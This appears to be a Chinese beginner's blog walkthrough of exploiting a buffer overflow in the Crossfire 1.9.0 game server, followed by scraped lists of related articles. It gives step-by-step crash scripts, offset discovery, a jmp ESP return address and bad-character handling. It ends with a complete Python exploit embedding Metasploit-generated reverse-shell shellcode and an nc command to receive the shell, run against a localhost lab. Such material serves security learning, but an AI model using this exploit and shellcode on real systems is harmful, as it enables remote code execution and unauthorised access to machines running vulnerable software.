Linux系统缓冲区溢出
Linux系统下穿越火线-缓冲区溢出
原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。
工具:
调试工具:edb;
###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势
实验对象:crossfire【多人在线RPG游戏】
运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化本章操作,所以选用32位】
搭建实验环境
#linux中,游戏需安装带其game文件夹
服务器端程序
- root@kali:~# cd \Desktop
 - root@kali:~/Desktop# ls
 - crossfire.tar.gz
 - root@kali:~/Desktop# mv crossfire.tar.gz /usr/games
 - root@kali:~/Desktop# cd /usr/games/
 - root@kali:/usr/games# ls
 - crossfire.tar.gz
 - root@kali:/usr/games# tar zxpf crossfire.tar.gz
 - root@kali:/usr/games# ls -lh
 - total 4.8M
 - drwxr-xr-x 8 root root 4.0K Feb 10 2010 crossfire
 - -rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz
 - root@kali:/usr/games# cd crossfire/
 - root@kali:/usr/games/crossfire# cd bin/
 - root@kali:/usr/games/crossfire/bin# ls
 - crossedit crossfire-config crossloop.pl player_dl.pl
 - crossfire crossloop crossloop.web
 - root@kali:/usr/games/crossfire/bin#
 #若出现缺少什么组件,可以相应去安装一下,只要看到出现waiting for connect,则基本没问题
查看端口开放情况【13327】
- root@kali:~# netstat -pantu
 - Active Internet connections (servers and established)
 - Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
 - tcp 0 0 0.0.0.0:13327 0.0.0.0:* LISTEN 4147/./crossfire
 - udp 0 0 0.0.0.0:68 0.0.0.0:* 629/dhclient
 调试工具
###也可用命令行来打开
新版本Linux内核支持内存保护机制
DEP、ASLR、堆栈cookies、堆栈粉碎
本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】
iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327
iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡4444
- root@kali:~# iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
 - root@kali:~# iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
 - root@kali:~# iptables -L
 - Chain INPUT (policy ACCEPT)
 - target prot opt source destination
 - DROP tcp -- anywhere !localhost tcp dpt:13327
 - DROP tcp -- anywhere !localhost tcp dpt:4444
 - Chain FORWARD (policy ACCEPT)
 - target prot opt source destination
 - Chain OUTPUT (policy ACCEPT)
 - target prot opt source destination
 - root@kali:~#
 
调试工具
使用edb调试工具启动服务进行调试
edb --run /usr/games/crossfire/bin/crossfire
#需要重复点击两个Debug->run
查看EIP等寄存器地址,需要双击
01.py
- #!/usr/bin/python
 - import socket
 - host = "127.0.0.1"
 - crash = "\x41" * 4379 ###crossfire必须在发送数值大小在一个固定数值的时候才能发生缓冲区溢出,只有当发送4379字符时,才能精确到溢出位置###
 - buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
 - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 - print "[*]Sending evil buffer..."
 - s.connect((host,1327))
 - data = s.recv(1024)
 - print data
 - s.send(buffer)
 - s.close()
 - print "[*]Payload Sent!"
 edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗
可确认存在缓冲区溢出漏洞
#通过修改发送“A”的数值,可验证只有当字符数量为4379才能精确修改EIP寄存器
唯一字符串精确定位EIP位置
- /usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379
 将唯一字符串添加到02.py
双击EIP
使用./pattren_offset.rb计算偏移量
则4368后四个字符为EIP地址
验证位置03.py
查看ESP数据部分Fellow in Dump
###因为ESP只能添7个字符才能精确修改EIP,所以shellcode不能放在ESP寄存器中。因此在剩下的寄存器中寻找
逐个查找,发现EAX可用
【因为setup sound为服务器指令,所以前十二个字符须先发送setup sound】
存在一个理论,直接在EAX的地址上加上12,可实现跳转,但是很大可能换一台机器后可能无法实现溢出,因为不同系统的EAX地址可能不一样
思路:【需考虑普适性】
第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符
###一个5个字节,足够插进ESP中,实现跳转到EAX
\x83\xc0\x0c\xff\xe0\x90\x90 #\x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】
04.py
查看ESP
#因为ESP的内存地址也不是固定的,所以需在系统中寻找固定跳转模块
寻址
利用edb中的插件Opcode search
使用第一个进程08048000,只要程序在运行,这个进程将一直存在,可以用于寻找jmp esp
###EIP->jmp ESP->ESP->EAX
查找坏字符
###\x00\x0a\x0d\x20
将256个编码放进脚本中逐一查找
设置断点(0x08134597)
EIP——08134597
则EIP跳转地址为
crash = "\x41" * 4368 + "\x97\x45\x13\x08"【EIP】 + "\x83\xc0\x0c\xff\xe0\x90\x90"【EAX】
04+.py
设置断点
->运行[F9]
按F8执行下一步
再按F8就跳入ESP寄存器
将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】
生成shellcode姿势
- root@kali:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"
 注:在生成shellcode时,如果生成的shellcode不正确,可通过重启,解决
- #!/usr/bin/python
 - import socket
 - host = "127.0.0.1"
 - shellcode = (
 - "\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
 - "\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
 - "\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
 - "\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
 - "\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
 - "\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
 - "\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
 - "\x1a\x99\x43\x71\x97\x54\x03")
 - crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
 - buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
 - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 - print "[*]Sending evil buffer..."
 - s.connect((host,13327))
 - data = s.recv(1024)
 - print data
 - s.send(buffer)
 - s.close()
 - print "[*]Payload Sent!"
 #打开侦听4444端口【当有人连接4444的时候,则getshell】
nc 127.0.0.1 4444 ###获得shell
小白日记,未完待续……
Linux系统缓冲区溢出的更多相关文章
- Kali学习笔记33:Linux系统缓冲区溢出实验
		
之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...
 - Linux下缓冲区溢出攻击的原理及对策(转载)
		
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
 - Linux下缓冲区溢出攻击的原理及对策
		
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
 - Exploit之初识Linux下缓冲区溢出
		
本文的目的不是为了介绍如何进行恶意的破坏性活动,而是为了教会你如何去防御此类破坏性活动,以帮助你扩大知识范围,完善自己的技能,如有读者运用本文所学技术从事破坏性活动,本人概不负责. 0×01 前言 1 ...
 - 使用Linux进行缓冲区溢出实验的配置记录
		
在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...
 - kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail
		
kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...
 - 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
		
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
 - 小白日记17:kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail
		
缓冲区溢出实例 缓冲区溢出原理:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html 空间存储了用户程序的函数栈帧 ...
 - 小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0
		
Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测 ...
 
随机推荐
- tpc资料汇总
			
官方资料 TPC官网 http://www.tpc.org/ 配置文档 大家一起来测试,benchmark起来(MySQL下的TPC-C,TPC-H,TPC-W) http://www.itpub ...
 - python操作浏览器及截图小结
			
近期做网页自动化用到内容小结 1.打开浏览器1)打开默认配置的浏览器from selenium import webdriverdriver = webdriver.Firefox()"&q ...
 - jquery小效果:新浪游戏右侧导航菜单 (页面效果)
			
偷盗:新浪游戏右侧导航菜单 http://games.sina.com.cn 效果: 随着页面的滚动,左侧页面的内容,和右侧的导航菜单的按钮文字对应: 点击右侧的导航按钮,左侧页面滚动到相应的内容 2 ...
 - Flex的一些小实例
			
1,以上是一个导航菜单 2一下是一个撑开的mx:Spacer
 - os sys 模块
			
os.getcwd() 获取当前工作目录,即当前python脚本工作的目录路径 os.chdir("dirname") 改变当前脚本工作目录:相当于shell下cd os.chdi ...
 - nginx 和 php超时设置
			
nginx.conf --- http节: keepalive_timeout 600; #客户端浏览器超时时间fastcgi_connect_timeout 600; #php-fpm连接超时时间 ...
 - day34-常见内置模块三(re模块)
			
re模块 1.什么是正则 正则就是用一些具有特殊含义的符号组合到一起(称为正则表达式)来描述字符或者字符串的方法.或者说:正则就是用来描述一类事物的规则.(在Python中)它内嵌在Python中,并 ...
 - day11-元组与字典
			
1.元组Tuple与列表类似,不同之处在于元组的元素不能修改. 元组使用小括号,列表使用中括号.元组可以查询,可以使用内置函数count.index.但是不能修改.增加.删除(儿子不能,孙子有可能). ...
 - html 基础之canvas 和 localStorage
			
1,建立一个canvas 画布: <!DOCTYPE html> <html lang="en"> <head> <meta charse ...
 - c中计时函数 clock()
			
#include<time.h> int main() { // ... .. // .... printf("Time used = %.2lf\n",(double ...